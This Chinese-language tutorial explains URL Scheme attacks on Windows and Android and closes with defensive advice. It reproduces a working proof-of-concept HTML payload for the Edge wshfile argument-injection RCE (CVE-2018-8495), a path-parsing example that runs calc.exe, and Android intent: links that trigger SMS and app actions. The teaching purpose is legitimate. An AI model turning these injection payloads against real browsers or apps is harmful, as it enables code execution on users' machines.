URL Scheme Attack
字数 1507 2025-08-27 12:33:42
URL Scheme 攻击技术详解
一、URL Scheme 简介
URL Scheme 是一种应用程序自定义的协议,通过访问这类协议可以调用启动对应的应用程序。其工作流程是:
- 应用程序在系统中注册 URL Scheme
- 当浏览器或其他支持 URL 的应用访问特定 Scheme 时
- 系统查找对应的 Scheme 项并启动该应用程序
常见示例:
mailto:admin@example.comthunder://xxxxxtel:+18888888888sms:18688886666alipays://platformapi/startapp
基本格式:
[scheme]://[host]/[path]?[query]
二、Windows 平台下的 URL Scheme
1. 注册表结构
Windows 平台下 URL Scheme 在注册表中注册,典型结构如下:
HKEY_CLASSES_ROOT
test
(Default) = "URL:test Protocol"
URL Protocol = ""
DefaultIcon
(Default) = "test.exe,1"
shell
open
command
(Default) = "C:\Program Files\test\test.exe" "%1"
其中 %1 是占位符表示启动参数,双引号用于处理参数中的空格。
2. 攻击面分析
Windows 平台存在两个主要攻击点:
-
路径解析问题:传入的 URL 可能被解析成本地路径,导致打开或执行本地文件
- 示例:
www.baidu.com.windows\system32\calc.exe - 系统会将后面的路径当作文件执行
- 示例:
-
参数注入:命令行参数中的双引号可以被闭合
- 通过精心构造参数可以突破参数限制
3. ShellExecute 函数
Windows 使用 ShellExecute(Ex) 函数处理文件和 URL 的打开,有四个版本:
- ShellExecuteA
- ShellExecuteW
- ShellExecuteExA
- ShellExecuteExW
示例用法:
// 打开文件
ShellExecuteW(NULL, L"open", L"c:\\test.txt", NULL, NULL , SW_SHOW );
// 打开链接
ShellExecuteW(NULL, L"open", L"https://www.baidu.com", NULL, NULL , SW_SHOW );
4. 实际案例:Edge 远程代码执行 (CVE-2018-8495)
利用 WSHFile 协议通过参数注入实现 RCE:
-
查看注册表项:
HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command- 指向
wscript.exe(Windows 脚本解释器)
- 指向
-
构造的 EXP:
<a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>
<script>window.onkeydown=e=>{ window.onkeydown=z={}; q.click()}</script>
三、Android 平台下的 URL Scheme
1. Intent Scheme URLs 攻击
基于 Android 浏览器桥梁间接实现 Intent-Based 攻击:
基本语法:
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>
等价 Java 代码:
Intent intent = new Intent("myaction");
intent.setData(Uri.parse("mydata"));
intent.setType("text/plain");
示例:
<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">发送短信</a>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">打开相机</a>
2. 第三方 URL Scheme
通过浏览器调用 Android 应用:
示例(支付宝抢红包):
<html>
<script>
window.location.href='alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other'
</script>
</html>
3. 高级攻击:应用克隆
结合多种技术:
- 伪协议调用
- WebView 跨域
setAllowUniversalAccessFromFileURLs设置为 true- 导致 File 协议可跨域读取文件
四、防御措施
-
输入验证:
- 严格验证 URL Scheme 的参数
- 过滤特殊字符和路径跳转符
-
参数处理:
- 避免直接拼接参数到命令行
- 使用安全的参数传递方式
-
权限控制:
- 限制 WebView 的跨域访问
- 谨慎设置
setAllowUniversalAccessFromFileURLs
-
注册表安全:
- 严格控制注册表中 URL Scheme 的权限
- 监控敏感注册表项的修改
五、总结
URL Scheme 为系统、浏览器和应用提供了方便的交互方式,但不同平台和实现的差异带来了多种安全风险:
- 路径解析问题可能导致本地文件访问或执行
- 参数注入可能导致命令执行
- 跨域问题可能导致信息泄露
- 不当的权限设置可能扩大攻击面
安全开发人员需要充分了解这些风险,在设计和实现 URL Scheme 功能时采取适当的安全措施。